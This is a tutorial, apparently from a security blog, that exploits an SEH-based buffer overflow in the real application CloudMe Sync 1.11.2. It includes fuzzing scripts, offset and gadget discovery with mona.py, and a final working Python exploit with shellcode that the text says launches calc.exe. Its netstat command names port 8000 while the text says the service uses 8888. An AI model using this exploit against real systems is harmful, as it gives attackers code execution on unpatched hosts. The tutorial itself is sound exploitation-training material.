Practical Exploitation Part [1] (CloudMe Sync 1.11.2 BufferOverFlow + SEH)
Greetings, I wanted to make a series of tutorials about Binary Exploitation but I wanted it to be different from most of the existing content on the internet, these tutorials are going to use real-world applications not just intended vulnerable applications and CTF challenges.
Today, I am going to exercise on CloudMe Sync 1.11.2 which is vulnerable to Buffer Over Flow by exploiting SEH technique.
Introduction:
What is SEH?
SEH refers to Structured Exception Handling which is a mechanism implemented by Windows to handle exceptions occur in programs which by turn prevents exploitation of buffer overflows vulnerabilities through controlling EIP register directly and it does its job by maintaining a linked list of SEH records and when an exception happens it will go over all records in the list and every record has two elements (1) a pointer to the current SEH and (2) a pointer to the next SEH, the exception handler will push the elements to the stack and SEH will be at (ESP+8) so if we can overwrite more data on the stack hopefully we can overwrite SEH records and control the execution of the application.
Exploitation of SEH:
As we know from above, when an exception is triggered by the program the SEH will be at (ESP+8) so if we overwrite this SEH record and point it to (POP POP RETN) instruction we will be at the top of the stack where the Next SEH will be there and since we have control of the execution, we can point the nSEH to our shellcode.
I will try my best to make these tutorials a hundred percent practical and reproducible in case you want to follow up with me.
Environment Setup and Tools:
- Windows 7 x64
- CloudMe Sync 1.11.2
- Immunity Debugger
- mona.py (Plugin for immunity debugger)
- Python 2.7
CloudMe Sync (Vulnerable version): https://www.exploit-db.com/apps/f0534b12cd51fefd44002862918801ab-CloudMe_1112.exe
SHA256Sum : 7C4929DE96D68C55F799A781A383184BBC696A6925A33850DE84633E835F9D09
Since our environment is ready, we are good to start and know more about the attack surface of our application.
CloudMe Sync is a synchronization application which sync your local storage with the cloud storage, and it is listening on port 8888.
Let’s run the application and verify that by running this command in the Windows Command Line (cmd) as administrator.
netstat -ano | findstr 8000
Fuzzing:
There are many good fuzzers available out there, open source fuzzers like (SPIKE, Sulley) and commercial fuzzers but for this tutorial, I will use a small python script to fuzz the application and often you have to build your own fuzzer that fit your needs.
Start the application then attach it to immunity debugger
Our payload will start with a base number of bytes say 1000 of ‘A’s and then increments it by 1000 every time and look at the difference in immunity debugger.
This code below serves as the skeleton of our exploit
import socket
target_ip = "127.0.0.1" # localhost
target_port = 8888 # listening port of CloudMe Sync
payload = 1000 * "A"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip,target_port)) # connect to the target on port 8888
s.send(payload) # send the payload
print "[+] " + str(len(payload)) + " Bytes Sent"
except:
print "[-] Crashed" # if the connection failed
Run the exploit script
Nothing happened the application still running so, let’s add another 1000 ‘A’s to the payload.
We have controlled the execution as our payload appeared in EIP register but unfortunately if we continue the execution the application will crash because of the SEH.
Press (Shift+F9) in immunity debugger to pass the exception and notice that all registers zeroed out and then the program terminated that prevents the program to execute our shellcode.
By looking at the SEH chain (Alt+s) i noticed that it didn’t get overwritten so, we have to increment the payload by 1000 and repeat this process until we see our ‘A’s in the SEH records.
So far so good, now we have to create a recognizable pattern instead of 3000 ‘A’s to know in which offset of our payload the SEH and nSEH got overwritten and to do that we are going to use mona.py in immunity debugger.
Type this command in immunity debugger console and it will create a file in the directory of Immunity debugger usually it will be found in this path “C:\Program Files\Immunity Inc\Immunity Debugger” with name “pattern.txt”
!mona pc 3000
Let’s replace our previous payload with the pattern created, run the exploit and see SEH chain
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
The offsets of the SEH and nSEH can be determined by typing this command in the console
!mona findmsp
This command will make mona.py searches the application memory for patterns and creates a file with results in the same directory as before with the name “findmsp.txt”
In the file created search for this string:
[+] Examining SEH chain
SEH record (nseh field) at 0x0028d908 overwritten with normal pattern : 0x43347743 (offset 2232), followed by 760 bytes of cyclic data after the handler
Exploitation:
Now we know that the offset of nSEH is 2232 and SEH will be after it by 4 bytes, let’s update our payload
payload = 2232 * 'A' #junk
payload += "BBBB" #nseh
payload += "CCCC" #seh
payload += 760 * "D" # padding
Cool, it worked as we expected!
Now instead of “BBBB” in nSEH it will point to short jump (\xeb\x08) and “CCCC” in SEH we want it to point to a (POP POP RET) instruction and luckily mona.py will do the hard work for us by typing this command in the console
!mona seh
That will create a new file named “seh.txt” in immunity debugger directory, by examining this file we should see a huge number of pointers collected by mona.py but we only interested in pointers to (POP POP RET) instructions with least security mitigations enabled for example this pointer
This is a good candidate for our purpose
0x6fe69087 : pop ebx # pop esi # ret 0x20 | {PAGE_EXECUTE_READ} [libstdc++-6.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\test\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll)
Our new payload will be like this
payload = 2232 * 'A' #junk
payload += "\xeb\x08\x90\x90" #nseh points to jmp short
payload += "\x87\x90\xe6\x6f" #seh points to (pop pop ret) at 0x6fe69087
payload += 760 * "D" # padding
Try it now with immunity
It’s showtime!
The last thing we have to do is to put our shellcode after SEH where our short jump will return, let’s make it simple and use a shellcode to pop up a calculator and adjust our payload to do so.
Final exploit
import socket
target_ip = "127.0.0.1"
#Shellcode to run calc.exe
shellcode = ""
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"
payload = 2232 * 'A' #junk
payload += "\xeb\x08\x90\x90" #nseh points to jmp short
payload += "\x87\x90\xe6\x6f" #seh points to (pop pop ret) at 0x6fe69087
payload += "\x90" * 20 # 20 nops before our shellcode
payload += shellcode
payload += (760 - len(shellcode) - 20) * "D" # padding
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip,8888))
s.send(payload)
print "[+] " + str(len(payload)) + " Bytes Sent"
except:
print "[-] Crashed"
Congratulations, you made it!
See you next tutorial.